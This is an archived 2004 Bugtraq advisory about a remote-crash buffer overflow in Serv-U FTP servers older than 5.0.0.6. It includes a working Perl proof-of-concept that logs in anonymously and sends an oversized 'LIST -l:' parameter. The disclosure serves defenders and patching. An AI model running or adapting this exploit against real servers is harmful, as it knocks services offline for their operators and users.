bugtraq - Serv-U LIST -l Parameter Buffer Overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 3 May 2004 14:39:55 +0300
From: Aviram Jenik <aviram@...ondsecurity.com>
To: bugtraq@...urityfocus.com
Subject: Serv-U LIST -l Parameter Buffer Overflow

 Serv-U LIST -l Parameter Buffer Overflow
------------------------------------------------------------------------

Article reference:
http://www.securiteam.com/windowsntfocus/5ZP0G2KCKA.html

SUMMARY

<http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, award-winning FTP 
server" created by Rob Beckers. 
A vulnerability in the product allows a remote user to cause the server to 
fail by sending a malformed LIST command to the server.

DETAILS

Vulnerable Systems:
* Serv-U older than 5.0.0.6

Immune Systems:
* Serv-U 5.0.0.6 and newer

A user issuing a long parameter (around 134 bytes) as a value for a LIST 
command (using the -l: parameter for that LIST command), can cause the server 
to try and read a value that is outside the memory location of the Serv-U's 
memory, this will cause an exception to be triggered (an unhandled 
exception), which in turn causes the program to crash.

Solution:
The vendor has released a new version, which fixes this problem.

Exploit:
#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;

ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm@...uriteam.com> STORM for 
finding this vulnerability. 

Regards, 
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf

==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.